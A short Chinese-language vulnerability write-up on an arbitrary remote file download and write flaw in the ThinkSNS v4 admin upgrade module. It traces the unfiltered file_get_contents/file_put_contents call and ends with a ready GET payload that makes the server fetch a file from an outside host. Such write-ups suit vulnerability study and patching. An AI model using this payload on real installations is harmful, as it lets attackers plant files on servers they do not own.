ThinkSnS v4后台任意文件下载漏洞

时间:2021-10-09 23:22:38

漏洞文件: /apps/admin/Lib/Action/UpgradeAction.class.php

ThinkSnS v4后台任意文件下载漏洞

主要问题还是出现在了180行直接将远程获取到的图片直接保存。

文中可见并没有做任何的对$downUrl进行过滤,$path也是。

所以就顺利的通过file_get_contents远程获取到了文件,然后通过file_put_contents写入到了$path当中。所以你远程文件名是啥这儿就是啥。

那么现在就来构造Payload

1.首先先了解一下这个UpgradeAction.class.php这个文件大概是干嘛?

根据刚才代码所在的地方应该可以判断是一个下载升级包的地方,也不一定非要找漏洞的这个升级包的地方,也可以找这个函数附近的。这种基本都是可以调用的。

2.结果很被催并没有找到所谓的下载升级包的地方,但是找到了下图的一个地方

ThinkSnS v4后台任意文件下载漏洞

点击在线升级然后抓包。

ThinkSnS v4后台任意文件下载漏洞

发现这个路径好像有点符合逻辑了。Upgrade跟文件名(UpgradeAction.class.php)很像,并且admin是其目录。故判断admin是其模板,而act则很可能要执行的方法。那么搜一下在UpgradeAction.class.php文件当中搜一下check。

ThinkSnS v4后台任意文件下载漏洞

果不起然是其方法。那么就可以迎刃而解了。把check换成存在漏洞的那个方法,也就是step1。

最终就GET了payload:

index.php?app=admin&mod=Upgrade&act=step1&upurl=http://www.metaspl0it.com/1.txt